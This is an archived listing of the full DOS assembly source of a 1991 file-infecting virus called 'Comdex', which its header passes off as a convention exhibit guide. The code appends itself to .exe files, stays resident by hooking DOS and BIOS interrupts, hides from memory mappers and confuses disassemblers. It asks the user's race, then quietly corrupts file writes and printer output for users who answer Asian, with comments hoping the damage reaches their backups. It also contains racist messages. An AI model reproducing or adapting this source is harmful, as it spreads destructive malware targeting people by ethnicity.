home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / COMDEX7.ASM < prev    next >
Assembly Source File  |  1991-10-31  |  23KB  |  805 lines

  1. ;    The Comdex exibit guide program
  2. ;    For the Fall 1991 Comdex Las Vegas Convention
  3. ;
  4. ;
  5. ;        A short description of the program:
  6. ;
  7. ;        It only affects .exe files. 
  8. ;        Comdex attaches itself to the end of the programs it affects.
  9. ;
  10. ;        When an affected file is run, Comdex copies itself to top of
  11. ;        free memory, and modifies the memory blocks, in order to hide from
  12. ;        memory mapping programs. Some programs may overwrite this area,
  13. ;        causing the computer to crash.  If this happens, the user obviously
  14. ;     deserved it. 
  15. ;
  16. ;        Comdex will hook int 21h and when function 4b (exec) is called
  17. ;        it sometimes will affect the program being run. It will check every
  18. ;        program that is run for affection, and if it is not already
  19. ;        affected, it will be.
  20. ;
  21. ;     Comdex will, after 1 hr, one of 16 chance, ask your race or
  22. ;     nationality prior to executing a file.  Af you answer that you
  23. ;     are asian/pacific rim, one of 256 file writes will have the
  24. ;     length adjusted downward or the record size reduced, depending
  25. ;     upon the specific dos call made.
  26. ;
  27. ;        Comdex will remove the read-only attribute before trying to
  28. ;        affect programs.
  29. ;
  30. ;        Affected files can be easily recognized, since they always end in
  31. ;        "COMD"
  32. ;
  33. ;        To check for system affection, a byte at 0:33c is used - if it
  34. ;        contains a 069h, Comdex is installed in memory.
  35. ;
  36. ;
  37. comsiz        equ        128        ;in paragraphs
  38.  
  39. code segment para public 'code'
  40.         assume cs:code,ds:nothing,ss:nothing,es:nothing
  41.  
  42. ;
  43. ;         Comdex is basically divided in the following parts.
  44. ;
  45. ;        1. the main program - run when an affected program is run.
  46. ;           it will check if the system is already affected, and if not
  47. ;           it will install Comdex.
  48. ;
  49. ;        2. the new int 17 handler. adjusts two ascii output chars.
  50. ;
  51. ;        3. the new int 14 handler. 
  52. ;
  53. ;        4. the new int 8 handler.
  54. ;
  55. ;        5. the new int 9 handler. 
  56. ;
  57. ;        6. the new int 21 handler. it will look for exec calls, and
  58. ;           affect the program being run.
  59. ;
  60. ;
  61. ;        this is a fake mcb (memory control block)
  62. ;     ms-dos inspects the chain of mcbs whenever a memory block allocation,
  63. ;     modification, or release function is requested, or when a program
  64. ;     is execed or terminated...
  65. ;
  66.         db        'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0
  67. ;                           ^___ # of paragraphs of the controlled mem blk
  68.  
  69.  
  70.  
  71. Comdex   proc    far
  72. ;
  73. ;        Comdex starts by pushing the original start address on the stack,
  74. ;        so it can transfer control there when finished.
  75. ;
  76. labl:  sub    sp,4
  77.         push    bp
  78.     mov     bp,sp
  79.         push    ax
  80. ;following line nuked for ease of test
  81. ;    nop            ;added so that scan84 doesn't id as [ice-3]
  82.         mov     ax,es
  83. ;
  84. ;        put the the original cs on the stack. the add ax,data instruction
  85. ;        is modified by Comdex when it affects other programs.
  86. ;
  87.         db      05h        ;this is an add ax,10h
  88. org_cs  dw      0010h
  89.         mov     [bp+4],ax
  90. ;
  91. ;        put the the original ip on the stack. this mov [bp+2],data instruction
  92. ;        is modified by Comdex when it affects other programs.
  93. ;
  94.         db      0c7h,46h,02h
  95. org_ip  dw      0000h
  96. ;
  97. ;        save all registers that are modified.
  98. ;
  99.         push    es
  100.         push    ds
  101.         push    bx
  102.         push    cx
  103.         push    si
  104.         push    di
  105. ;
  106. ;        check if already installed. quit if so.
  107. ;
  108.         mov        ax,0                
  109.         mov        es,ax        ;zero es
  110.         cmp        es:[33ch],byte ptr 069h
  111. ;&&
  112. ;        jne        l1
  113. ;
  114. ;        restore all registers and return to the original program.
  115. ;
  116. exit:   pop        di
  117.         pop        si
  118.         pop        cx
  119.         pop        bx
  120.         pop        ds
  121.         pop        es
  122.         pop        ax
  123.         pop        bp
  124.         retf
  125. ;
  126. ;    Comdex tries to hide from detection by modifying the memory block it
  127. ;    uses, so it seems to be a block that belongs to the operating system.
  128. ;
  129. ;    it looks rather weird, but it seems to work.
  130. ;
  131. l1:     mov     ah,52h
  132.         call    int21        ;undefined dos call!!?
  133.         mov     ax,es:[bx-2]
  134.     nop
  135.         mov     es,ax
  136.         add     ax,es:[0003]
  137.         inc     ax
  138.         inc     ax
  139.         mov     cs:[0001],ax
  140. ;
  141. ;         next, Comdex modifies the memory block of the affected program.
  142. ;         it is made smaller, and no longer the last block.
  143. ;
  144.         mov     bx,ds
  145.         dec     bx
  146.     nop 
  147.         mov     ds,bx
  148.         mov     al,'M'
  149.         mov     ds:[0000],al
  150.         mov     ax,ds:[0003]
  151.         sub     ax,comsiz
  152.         mov     ds:[0003],ax
  153.         add     bx,ax
  154.         inc     bx
  155. ;
  156. ;         then Comdex moves itself to the new block.
  157. ;
  158.     mov    es,bx
  159.     xor    si,si
  160.     xor    di,di
  161.     push    cs
  162.     pop    ds
  163.         mov     cx,652h            ;the length of this program -
  164.                     ;be *sure* to update this!!
  165.                     ;in fact, make it symbolic!!
  166.         cld
  167.         rep     movsb
  168. ;
  169. ;        Comdex then transfers control to the new copy of itself.
  170. ;
  171.         push     es
  172.     nop
  173.         mov      ax,offset l3
  174.         push     ax
  175.         retf
  176.     db     3dh            ;confuse disassemblers
  177. ;
  178. ;       zero some variables
  179. ;
  180. l3:     mov     byte ptr cs:[min60],0
  181.         mov     byte ptr cs:[min50],0
  182.         mov     word ptr cs:[timer],0
  183.     mov    byte ptr cs:[input_char],0
  184. ;
  185. ;       set flag to confirm installation
  186. ;
  187.     xor    ax,ax
  188.     mov    es,ax
  189.     inc    ax            ;dummy operation to confuse function
  190.         mov     byte ptr es:[33ch],069h
  191. ;
  192. ;       hook interrupt 21:
  193. ;    (the primary dos function interrupt) 
  194. ;
  195.         mov        ax,es:[0084h]
  196.         mov        cs:[old21],ax
  197.         mov        ax,es:[0086h]
  198.     nop 
  199.         mov        cs:[old21+2],ax
  200.         mov        ax,cs
  201.         mov        es:[0086h],ax
  202.         mov        ax,offset new21
  203.         mov        es:[0084h],ax
  204. ;
  205. ;       hook interrupt 17:
  206. ;    (bios lpt services)
  207. ;
  208.        mov        ax,es:[005ch]
  209.        mov        cs:[old17],ax
  210.        nop
  211.        mov        ax,es:[005eh]
  212.        mov        cs:[old17+2],ax
  213.        inc      ax            ;dummy op
  214.        mov        ax,cs
  215.        mov        es:[005eh],ax
  216.        mov        ax,offset new17
  217.        mov        es:[005ch],ax
  218.  
  219. ;
  220. ;       hook interrupt 14:
  221. ;    (bios serial port services)
  222. ;
  223. ;       mov        ax,es:[0050h]
  224. ;       mov        cs:[old17],ax
  225. ;       mov        ax,es:[0052h]
  226. ;       mov        cs:[old14+2],ax
  227. ;       mov        ax,cs
  228. ;       mov        es:[0052h],ax
  229. ;       mov        ax,offset new14
  230. ;       mov        es:[0050h],ax
  231. ;
  232. ;
  233. ;
  234.         cmp     word ptr cs:[noinf],5
  235.         jg      hook8
  236.         jmp     exit
  237. ;
  238. ;       hook interrupt 9
  239. ;    (bios keyboard interrupt)
  240. ;
  241. ;hook9:  mov        ax,es:[0024h]
  242. ;       mov        cs:[old9],ax
  243. ;       mov        ax,es:[0026h]
  244. ;       mov        cs:[old9+2],ax
  245. ;       mov        ax,cs
  246. ;       mov        es:[0026h],ax
  247. ;       mov        ax,offset new9
  248. ;       mov        es:[0024h],ax
  249. ;
  250. ;       hook interrupt 8
  251. ;    (timer ticks)
  252. ;
  253.     db       3dh,0cch,03h,3dh,3dh    ;confuse dissassemblers
  254. hook8:  mov        ax,es:[0020h]
  255.         mov        cs:[old8],ax
  256.         mov        ax,es:[0022h]
  257.         mov        cs:[old8+2],ax
  258.         mov        ax,cs
  259.     nop
  260.         mov        es:[0022h],ax
  261.         mov        ax,offset new8
  262.         mov        es:[0020h],ax
  263.         jmp        exit
  264.  
  265.  
  266. ;the int 21 calls go through this routine to confuse the issue:
  267. int21:    push    ax
  268.     mov    ax,0ffh
  269.     mov    word ptr cs:[internal],ax    ;set internal int 21 flag
  270.     mov    al,20h
  271.     inc    al                ;put 21 in al
  272.     mov    byte ptr cs:[int21b],al        ;self modifying code!
  273.     pop    ax
  274.     db    0cdh                ;int opcode
  275. int21b:    db    0cch                ;overwritten to int 21h
  276.     push    ax
  277.     mov    ax,00
  278.     mov    word ptr cs:[internal],ax    ;clear internal int 21 flag
  279.     mov    ax,0cch
  280.     mov    byte ptr cs:[int21b],al        ;nuke it back to int 0cch
  281.     pop    ax
  282.     retn
  283.  
  284.  
  285.  
  286.     db    "Welcome to Comdex "
  287.     db    "From the Interface Group, Inc. "
  288.     db    "300 First Avenue "
  289.     db    "Needham, MA 02194 "
  290.     db    "(617)449-6600 "
  291.     db    "For data recovery ask for "
  292.     db    "Peter J. Bowes, unless you are "
  293.     db    "Oriental, in which case, we will "
  294.     db    "not help you. "
  295.  
  296. quest      db    0dh,0ah,"Software Piracy Prevention Center",0dh,0ah
  297.     db    "requests your cooperation:",0dh,0ah,0dh,0ah
  298.     db    "Please enter your race or nationality:",0dh,0ah
  299.     db    "a. White         e. Eastern European",0dh,0ah    
  300.     db    "b. Black         f. Soviet",0dh,0ah
  301.     db    "c. Hispanic         g. Western European",0dh,0ah
  302.     db    "d. Asian/Pacific Rim     h. Other",0dh,0ah,0dh,0ah
  303.     db    "  Please enter your response: ","$"
  304.  
  305. input_char:    db    0
  306.     db    3dh        ;confuse disassemblers
  307.  
  308. askit:    push    ax
  309.     push    bx
  310.     push    cx
  311.     push    dx
  312.     push    si
  313.     push    di
  314.     push    ds
  315.     push    es
  316.  
  317.     cmp    byte ptr cs:[min60],1    ;resident 1 hr yet?
  318.     jnz    noask
  319.     cmp    byte ptr cs:[input_char],0
  320.     jnz    noask            ;don't ask twice
  321.     mov    ax,word ptr cs:[timer]
  322.     and    ax,000fh        ;look at ls free running clock
  323.     cmp    ax,000ch        ;does it happen to be 00ch? (1 of 16)
  324.     jnz    noask            ;if not, don't ask the guy!
  325.  
  326.     mov    dx,offset quest        ;ask the guy about race
  327.     mov    ah,09h            ;dos string print
  328.     push    cs
  329.     pop    ds
  330.     call    int21            ;print question on crt
  331.     mov    ax,0c01h        ;dos flush input and get char
  332.     call    int21            ;get char
  333.     and    al,0dfh            ;force upper case
  334.     mov    byte ptr cs:[input_char],al    ;save away response
  335. noask:    pop    es
  336.     pop    ds
  337.     pop    di
  338.     pop    si
  339.     pop    dx
  340.     pop    cx
  341.     pop    bx
  342.     pop    ax
  343.     retn
  344.  
  345. ;********************************************************************
  346.  
  347. ;
  348. ;       int 9 (keyboard) replacement: 
  349. ;       this routine does not become active until 50 minutes after
  350. ;       the execution of an affected program.
  351. ;
  352. ;new9:   push    ax
  353. ;        push    es
  354. ;        cmp     byte ptr cs:[min50],1
  355. ;        jnz     retx1
  356.  
  357. ;insert any code here that activates 50 min after launch for int 9...
  358.  
  359. ;retx1:  pop     es            ;prepare to go to old int 9 code:
  360. ;        pop     ax
  361. ;        db      0eah            ;jmp 0000:0000 nmemonic
  362. ;old9    dw      0,0            ;storage for old addr
  363.  
  364.  
  365. ;********************************************************************
  366. ;
  367. ;       new int 14 (serial port) routine - 
  368. ;
  369. ;new14:  cmp     ah,1            ;is it an output request?
  370. ;        jz      s1            ;yup.  don't return just yet.
  371. ;do14:   db      0eah            ;jmp 0000:0000 nmemonic
  372. ;old14   dw      0,0
  373. ;s1:     
  374.  
  375. ;insert any code here for output to serial port...
  376.  
  377. ;        jmp     do14
  378.  
  379.  
  380. ;********************************************************************
  381. ;
  382. ;       new int 8 routine  (bios timer ticks)
  383. ;
  384.     db    3dh            ;piss off disassemblers
  385. new8:      push    dx
  386.         push    cx
  387.         push    bx
  388.         push    ax
  389.     jmp    txex ;&&
  390.     inc    word ptr cs:[timer]        ; increment timer
  391.         cmp     byte ptr cs:[min60],01          ; if counter >= 60 min.
  392.         jz      tt0                             ; no need to check any more
  393.         cmp     word ptr cs:[timer],-11         ; 60 minutes ?
  394.         jz      tt1
  395.         cmp     word ptr cs:[timer],54601       ; 50 minutes ?
  396.         jz      tt2
  397.         jmp     txex
  398. ;
  399. ;       50 minutes after an affected program is run the flag is set.
  400. ;
  401. tt2:    mov     byte ptr cs:[min50],1
  402.         jmp     txex
  403. ;
  404. ;       60 minutes after an affected program is run this flag is set.
  405. ;
  406. tt1:    mov     byte ptr cs:[min60],1
  407.  
  408. ;    exit interrupt routine:
  409.  
  410.         jmp     txex
  411. ;
  412. ;       every time an int 8 occurs, after the 60 min. have passed, we
  413. ;       end up here:
  414. ;
  415. tt0:    
  416. ;insert any fun timer oriented code here
  417. ;
  418. ;       restore registers and quit
  419. ;
  420. txex:   pop     ax
  421.         pop     bx
  422.         pop     cx
  423.         pop     dx
  424.         db      0eah
  425. old8    dw      0,0
  426.  
  427. ;********************************************************************
  428. ;
  429. ;       new int 17 routine. lpt out stuff.
  430. ;
  431. new17:  jmp    do17    ;&&
  432.     cmp     ah,0
  433.     
  434.         jz      p0
  435. do17:   db      0eah
  436. old17   dw      0,0
  437.     db    2eh            ;confuse disassemblers
  438. p0:    cmp    byte ptr cs:[input_char],44h    ;d. asian/pacific rim?
  439.     jne    not_asian     
  440.     push    ax
  441.     mov    ax,word ptr cs:[timer]
  442.     and    ax,00ffh
  443.     cmp    ax,0032h        ; one of 256 odds
  444.     pop    ax            ; restore ax, doesn't change flags
  445.     jne    do17            ; don't twiddle lpt 255/256 odds
  446.     cmp    al,55h            ; printing a "U"?
  447.     jne    notu
  448.     mov    al,0efh            ; make it upside-down!
  449.     jmp    do17            ; and continue.
  450. notu:    cmp    al,06fh            ; lower case "o"?
  451.     jne    do17            ; no?  then exit.
  452.     mov    al,093h            ; make it an "o" with a ^ over it!
  453.     jmp    do17            ; and exit.    
  454. not_asian:
  455.         jmp     do17
  456.  
  457.  
  458. ;Int 21 file adjustment routines - the following routines corrupt a small
  459. ;percentage of the file writes that Asians do in their use of the pc.  For
  460. ;example, when one updates a spreadsheet or exits a word processor, the
  461. ;application software will re-write the file out to disk.  What we do here
  462. ;is reduce the amount of the data that is written to the file.  The hope
  463. ;is that the problem will be hidden for a significant period of time, since
  464. ;it happens only infrequently, and since it typically will happen upon exit
  465. ;of the application package.  If the reduction of the write causes a serious
  466. ;problem (we hope it will) it won't usually be noticed until that file is
  467. ;loaded again.  The other hope is that if the user does backup his data from
  468. ;time to time, this corrupted data will end up on the backup as well before
  469. ;the problem is noticed.  With luck, maybe the user will assume that the
  470. ;hardware is intermittent, and backup the system over the top of his only
  471. ;existing backup set, then purchase replacement hardware.
  472.  
  473.  
  474.  
  475. fuck_size_f:            ;if asian, reduce file rec size by 1 on fcb ops
  476.     push    ax
  477.     push    di
  478.     push    dx        ;setup di for indexed operations
  479.     pop    di
  480.     cmp    byte ptr cs:[input_char],044h    ;asian?
  481.     jne    exit_fuck_f    ;no, then do nothing
  482.     mov    ax,word ptr cs:[timer]
  483.     and    ax,00ffh    ;mask off ls 8 bits of free run timer
  484.     cmp    ax,0069h    ;does it happen to be 69h? (1 of 256)
  485.     jne    exit_fuck_f    ;nope, so do nothing
  486.     
  487.     mov    al,[ds:di+0]    ;get first byte of user's fcb
  488.     cmp    al,0ffh        ;extended fcb?
  489.     jne    norm_fcb    ;nope, so handle as normal fcb
  490.     mov    ax,[ds:di+15h]    ;get record size, 16 bits on extd fcb.
  491.     dec    ax        ;adjust it a bit, since the user really doesn't
  492.                 ;need to write so much data.
  493.     mov    [ds:di+15h],ax
  494.     jmp    exit_fuck_f    ;subsequent r/w ops should fail to get the
  495.                 ;right data until this file is closed or
  496.                 ;until system crashes.
  497.     
  498. norm_fcb:
  499.     mov    al,[ds:di+0eh]    ;get record size, only 8 bits on norm fcb.
  500.     dec    al        ;reduce by 1
  501.     mov    [ds:di+0eh],al    ;store it back
  502. exit_fuck_f:
  503.     pop    di
  504.     pop    ax
  505.     jmp    do21
  506.  
  507.  
  508. fuck_size_h:            ;reduce length of handle file writes
  509.     push    ax
  510.     push    di
  511.     push    dx
  512.     pop    di
  513.     cmp    byte ptr cs:[input_char],044h  ;asian?
  514.     jne    exit_fuck_h    ;no, so don't damage anything.
  515.     mov    ax,word ptr cs:[timer]
  516.     and    ax,00ffh
  517.     cmp    ax,0066h    ;one out of 256 odds
  518.     jne    try_again    ;no?  well give it another chance.
  519.     and    cx,0fff5h    ;reduce write length in bytes by a flakey amt
  520.     dec    cx        ;ranging from 1 to 11 bytes.
  521. exit_fuck_h:
  522.     pop    ax
  523.     jmp    do21
  524.  
  525. try_again:
  526.     cmp    ax,0077h    ;one of 256 odds?
  527.     jne    exit_fuck_h    ;exit if not lucky.
  528.     mov    ax,[ds:di+30h]    ;get a user data byte from his buffer
  529.     xor    ax,0004h    ;toggle bit 2 of byte 30h
  530.     mov    [ds:di+30h],ax    ;and put it back
  531.     jmp    exit_fuck_h
  532.  
  533. ;********************************************************************
  534. ;
  535. ;        this is the int 21 replacement. it only does something in 
  536. ;        the case of an execute program dos call.
  537. ;
  538. ;be careful here not to trap int codes that we use internally!
  539. new21:  jmp    do21    ;&&
  540.     push    ax
  541.     cmp    word ptr cs:[internal],0ffh ;is it an internal int 21?
  542.     je    do21            ;yup, so no tweaking allowed
  543.     pop    ax
  544.     cmp    ah,015h            ;is it a fcb file write?
  545.     je    fuck_size_f        ;if asian, reduce record size by 1
  546.     cmp    ah,040h            ;is it a handle file write?
  547.     je    fuck_size_h        ;if asian, adjust write length down.
  548.     cmp    ah,4bh            ;is it an int 21 code 4b?
  549.         je     l5            ;yup.  go affect stuff
  550. do21:   db     0eah            ;nope.  let dos handle it
  551. old21   dw     0,0
  552. ;
  553. ;       the code to only affect every tenth program has been removed
  554. ;    for now.  restore this code later.
  555. ;
  556.     db        3dh            ;confuse disassemblers
  557. l5:     call        askit        ;ask race if appropriate
  558.     push        ax
  559.         push        bx
  560.         push        cx
  561.         push        dx
  562.         push        si
  563.         push        ds
  564. ;
  565. ;        search for the file name extension ...
  566. ;
  567.         mov        bx,dx
  568. l6:     inc        bx
  569.         cmp        byte ptr [bx],'.'
  570.         je         l8
  571.         cmp        byte ptr [bx],0
  572.         jne        l6
  573. ;
  574. ;        ... and quit unless it starts with "ex".
  575. ;
  576. l7:     pop        ds
  577.         pop        si
  578.         pop        dx
  579.         pop        cx
  580.         pop        bx
  581.         pop        ax
  582.         jmp        do21
  583. l8:     inc        bx
  584.         cmp        word ptr [bx],5845h        ;"EX"
  585.         jne        l7
  586. ;
  587. ;        when an .exe file is found, Comdex starts by turning off
  588. ;        the read-only attribute. the read-only attribute is not restored
  589. ;        when the file has been affected.
  590. ;
  591.         mov        ax,4300h                ; get attribute
  592.         call       int21
  593.         jc         l7
  594.         mov        ax,4301h                ; set attribute
  595.         and        cx,0feh
  596.         call       int21
  597.         jc         l7
  598. ;
  599. ;        next, the file is examined to see if it is already affected.
  600. ;         the signature (4418 5f19) is stored in the last two words.
  601. ;
  602.         mov        ax,3d02h                ; open / write access
  603.         call       int21
  604.         jc         l7
  605.         mov        bx,ax                        ; file handle in bx
  606. ;
  607. ;       this part of the code is new: get date of file.
  608. ;
  609.         mov     ax,5700h
  610.         call    int21
  611.         jc      l9
  612.         mov     cs:[date1],dx
  613.         mov     cs:[date2],cx
  614. ;
  615.         push    cs                        ; now ds is no longer needed
  616.         pop     ds
  617. ;
  618. ;        the header of the file is read in at [id+8]. Comdex then
  619. ;        modifies itself, according to the information stored in the
  620. ;        header. (the original cs and ip addressed are stored).
  621. ;
  622.         mov        dx,offset id+8
  623.         mov        cx,1ch
  624.         mov        ah,3fh
  625.         call       int21
  626.         jc         l9
  627.         mov        ax,ds:id[1ch]
  628.         mov        ds:[org_ip],ax
  629.     inc       ax            ;confuse reader a little
  630.         mov        ax,ds:id[1eh]
  631.         add        ax,10h
  632.         mov        ds:[org_cs],ax
  633. ;
  634. ;        next the read/write pointer is moved to the end of the file-4,
  635. ;        and the last 4 bytes read. they are compared to the signature,
  636. ;        and if equal nothing happens.
  637. ;
  638.         mov        ax,4202h
  639.         mov        cx,-1
  640.         mov        dx,-4
  641.         call       int21
  642.         jc         l9
  643.         add        ax,4
  644.         mov        ds:[len_lo],ax
  645.         jnc        l8a
  646.         inc        dx
  647. l8a:    mov        ds:[len_hi],dx
  648. ;
  649. ;       this part of Comdex is new - check if it is below minimum length
  650. ;
  651.         cmp        dx,0
  652.         jne        l8b
  653.         mov        cl,13
  654.         shr        ax,cl
  655.         cmp        ax,0
  656.         jg         l8b
  657.     nop
  658.         jmp        short l9
  659. l8b:    mov        ah,3fh
  660.         mov        cx,4
  661.         mov        dx,offset id+4
  662.         call       int21
  663.         jnc        l11
  664. l9:     mov        ah,3eh
  665.         call       int21
  666. l10:    jmp        l7
  667.     db       3eh            ;confuse disassemblers
  668. ;
  669. ;        compare to 4f43,444d which is first 4 letters of Comdex
  670. ;
  671. l11:    mov        si,offset id+4
  672.         mov        ax,[si]
  673.         cmp        ax,4f43h        ;ascii "OC"
  674.         jne        l12
  675.         mov        ax,[si+2]
  676.         cmp        ax,444dh        ;ascii "DM"
  677.         je         l9
  678. ;
  679. ;        the file is not affected, so the next thing Comdex does is
  680. ;        affect it. first it is padded so the length becomes a multiple
  681. ;        of 16 bytes. this is done so Comdex code can start at a
  682. ;        paragraph boundary.
  683. ;
  684. l12:    mov        ax,ds:[len_lo]
  685.         and        ax,0fh
  686.         jz         l13
  687.         mov        cx,16
  688.         sub        cx,ax
  689.     nop
  690.         add        ds:[len_lo],cx
  691.         jnc        l12a
  692.         inc        ds:[len_hi]
  693. l12a:   mov        ah,40h
  694.         call       int21        ;dos write to file
  695.         jc         l9
  696. ;
  697. ;        next the main body of Comdex is written to the end.
  698. ;
  699. l13:    xor       dx,dx
  700.         mov        cx,offset id + 4
  701.         mov        ah,40h        ;dos write to file
  702.         call       int21
  703.         jc         l9
  704. ;
  705. ;        next the .exe file header is modified:
  706. ;
  707. ;        first modify initial ip
  708. ;
  709. f0:     mov        ax,offset labl
  710.         mov        ds:id[1ch],ax
  711. ;
  712. ;        modify starting cs = Comdex cs. it is computed as:
  713. ;
  714. ;        (original length of file+padding)/16 - start of load module
  715. ;
  716.         mov        dx,ds:[len_hi]
  717.         mov        ax,ds:[len_lo]
  718.         mov        cl,cs:[const1]               ; modified a bit
  719.         shr        dx,cl
  720.         rcr        ax,cl
  721.     nop 
  722.         shr        dx,cl
  723.         rcr        ax,cl
  724.         shr        dx,cl
  725.         rcr        ax,cl
  726.         nop
  727.     shr        dx,cl
  728.         rcr        ax,cl
  729.         sub        ax,ds:id[10h]
  730.         mov        ds:id[1eh],ax
  731. ;
  732. ;        modify length mod 512
  733. ;
  734.         add        ds:[len_lo],offset id+4
  735.         jnc        l14
  736.         inc        ds:[len_hi]
  737. l14:    mov        ax,ds:[len_lo]
  738.         and        ax,511
  739.     nop
  740.         mov        ds:id[0ah],ax
  741. ;
  742. ;        modify number of blocks used
  743. ;
  744.         mov        dx,ds:[len_hi]
  745.         mov        ax,ds:[len_lo]
  746.         add        ax,511
  747.         jnc        l14a
  748.         inc        dx
  749. l14a:   mov        al,ah
  750.         mov        ah,dl
  751.         shr        ax,1
  752.         mov        ds:id[0ch],ax
  753. ;
  754. ;        finally the modified header is written back to the start of the
  755. ;        file.
  756. ;
  757. wrtback:mov     ax,4200h
  758.         xor    cx,cx   
  759.         xor    dx,dx  
  760.         call    int21            ;dos move file pointer
  761.         jc      endit
  762.         mov     ah,40h
  763.         mov     dx,offset id+8
  764.         mov     cx,1ch
  765.         call    int21            ;dos write to file
  766. ;
  767. ;       this part is new:       restore old date.
  768. ;
  769.         mov     dx,cs:[date1]
  770.         mov     cx,cs:[date2]
  771.         mov     ax,5701h
  772.         call    int21            ;dos set file date and time
  773.         jc      endit
  774.         inc     word ptr cs:[noinf]
  775. ;
  776. ;        affection is finished - close the file and execute it
  777. ;
  778. endit:  jmp     l9
  779. ;
  780. ;
  781.  
  782. timer    dw    0    ; number of timer (int 8) ticks 
  783. const1  db      1       ; the constant 1
  784. const0  dw      0       ; the constant 0
  785. internal dw    0    ; internal int 21 in effect.
  786. min50    db    0    ; flag, set to 1 50 minutes after execution
  787. min60   db      0       ; flag, set to 1 60 minutes after execution
  788. vmode   db      0       ; video mode
  789. date1   dw      ?       ; date of file
  790. date2   dw      ?       ; ditto.
  791. len_lo  dw      ?
  792. len_hi  dw      ?
  793. noinf   dw      0       ; number of affections
  794. id      label word
  795.         db      "COMD"  ; the signature of Comdex.
  796. ;
  797. ;        a buffer, used for data from the file.
  798. ;
  799.  
  800. Comdex   endp
  801. code        ends
  802.  
  803.         end labl
  804.